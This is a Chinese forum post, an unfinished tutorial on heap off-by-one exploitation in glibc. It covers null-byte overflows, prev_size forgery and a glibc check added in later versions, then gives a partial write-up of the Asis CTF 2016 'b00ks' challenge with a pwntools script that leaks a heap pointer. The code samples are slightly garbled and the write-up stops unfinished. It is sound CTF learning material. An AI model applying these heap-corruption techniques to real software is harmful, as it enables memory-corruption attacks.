roger 发表于 2020-9-2 09:44:23

Off-By-One(未完)

原理只溢出了一个字节,比如循环次数多了1,比如定义a,却访问到了a,实际应该是a-a,虽然只有一字节,但是造成的危害却很大,这里讨论堆上的Off-By-One利用思路
[*]溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
[*]溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。/* consolidate backward */
  if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
  if (__glibc_unlikely (chunksize(p) != prevsize))
  malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
  }
例子例1int my_gets(char *ptr,int size)
  {
  int i;
  for(i=0;i<=size;i++)
  {
  ptr=getchar();
  }
  return i;
  }
  int main()
  {
  void *chunk1,*chunk2;
  chunk1=malloc(16);
  chunk2=malloc(16);
  puts("Get Input:");
  my_gets(chunk1,16);
  return 0;
  }
my_gets中存在off-by-one(i<=size应该为i<size)动态调试:malloc之后:输入17个'a'之后:可以看到溢出到了下一个堆块地presize域例2int main(void)
  {
  char buffer="";
  void *chunk1;
  chunk1=malloc(24);
  puts("Get Input");
  gets(buffer);
  if(strlen(buffer)==24)
  {
  strcpy(chunk1,buffer);
  }
  return 0;
  }
strlen 函数在计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00' 。这就导致了我们向 chunk1 中写入了 25 个字节(off-by-one)malloc之后:
可以看到大小是0x21,除掉1bit控制字段和0x10的chunk头,只有0x10大小,怎么放的下24B呢,这就是复用了下一个chunk的prevsize域,所以刚刚好输入'a'*24后:可以看到下个chunk的size字段的低一个字节被改成了0,而这里有很重要的控制字段P(表明前一个chunk是否空闲)例题例1 Asis CTF 2016 b00ks查看64位程序,除了没开canary之外别的全开,有菜单idamain函数(已改名):就正常题目流程get_name:my_read:存在off-by-one,因为循环条退出件是i==a2而不是i==a2-1这样就多了最后一位变0看看增删改查:creat_book:流程就是先输入先输入name_size,判断大小后malloc返回到ptr,并存储name进去然后需要输入内容size,判断大小后malloc返回v5,然后存储内容进去最后有一个book结构体:存储了name,内容size,内容和iddelete_book:各种检查,最后free后也置null了edit_book:print_book:最后还输出了作者(自己输入的name)的名字分析在 author name 中需要输入 32 个字节后,我们溢出到了下面的指针域(结构体的后面)置为了'\x00',而之后我们add book的时候又将'\x00'覆盖了,该指针与 author name 直接连接,那么输出作者名字的时候,我们就可以获得堆指针了p=process('b00ks')
  p.recvuntil(':')
  p.sendline('a'*32)
  p.recvuntil('>')
  p.sendline('1')
  p.recvuntil('size:')
  p.sendline('32')
  p.recvuntil('chars):')
  p.sendline('lalala')
  p.recvuntil('size:')
  p.sendline('32')
  p.recvuntil('description:')
  p.sendline('bibibi')
  p.recvuntil('>')
  p.sendline('4')
  p.recvuntil('a'*32)
  #p.recvall()
  book1=my_u64(p.recv(6))
  success('book1 addr: '+hex(book1))
  p.interactive()
成功得到由于程序存在修改作者姓名的功能,所以我们可以修改pointer array 第一个项的低字节。gdb调试一下:首先寻找name(输入的地址):我们看到了一个堆上的地址,这个就是leak出的地址leak的地址:第一个存了下标book1,第二个和第三个则分别是之后就是des的size了如果我们修改的指针落在了des里(size大点),是不是就可以控制了呢由于des可写,我们在这个地方伪造一个book结构体,可以通过对伪造的结构体的读写,达到任意地址读写了后面没咋看懂...先放着


页: [1]
查看完整版本: Off-By-One(未完)